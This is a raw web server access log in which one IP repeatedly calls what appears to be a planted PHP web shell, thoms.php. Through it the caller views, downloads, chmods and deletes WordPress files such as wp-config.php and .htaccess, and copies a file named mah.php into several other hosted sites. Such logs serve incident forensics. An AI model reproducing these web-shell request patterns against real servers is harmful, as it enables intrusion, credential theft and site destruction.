45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /booking-wise2.com.tw/wp-login.php HTTP/1.1" 404 6289 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-trackback.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 12056 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?del=upgrade&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "http://163.245.207.76:443/thoms.php?del=upgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /booking-wise2.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-signup.php HTTP/1.1" 200 22524 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?del=web-common&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "http://163.245.207.76:443/thoms.php?del=web-common&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=index.php HTTP/1.1" 200 12072 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Findex.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?dl=readme.html&p=booking-wise2.com.tw HTTP/1.1" 200 17422 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /booking-wise2.com.tw/wp-links-opml.php HTTP/1.1" 200 206 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fxmlrpc.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /booking-wise2.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?chmod=index.php&p=booking-wise2.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?del=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?del=error_log&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-login.php HTTP/1.1" 200 29044 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?del=wp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /thoms.php?dl=wp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:06 -0400] "GET /booking-wise2.com.tw/upgrade/ HTTP/1.1" 200 6583 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?del=xmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /booking-wise2.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?del=wp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?chmod=wp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /booking-wise2.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11673 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?del=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 17426 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-activate.php HTTP/1.1" 200 14821 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-cron.php HTTP/1.1" 200 14194 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /booking-wise2.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?del=license.txt&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?del=license.txt&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:07 -0400] "GET /thoms.php?dl=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 13423 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?del=cgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 17310 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /booking-wise2.com.tw/wp-includes/ HTTP/1.1" 200 9335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?dl=locoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?chmod=wp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /booking-wise2.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 16573 "https://163.245.207.76/booking-wise2.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?del=wp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-config.php HTTP/1.1" 200 13728 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?chmod=wp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /booking-wise2.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:08 -0400] "GET /thoms.php?dl=wp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?dl=wp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p= HTTP/1.1" 200 11658 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=error_log HTTP/1.1" 200 14194 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 17420 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?chmod=wp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?del=wp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?dl=wp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /booking-wise2.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?del=wp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?del=wp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-load.php HTTP/1.1" 200 13666 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /booking-wise2.com.tw/data-unused/ HTTP/1.1" 200 6437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 6289 "https://163.245.207.76:443/booking-wise2.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:09 -0400] "GET /booking-wise2.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?chmod=license.txt&p=booking-wise2.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=wp-content HTTP/1.1" 200 11337 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
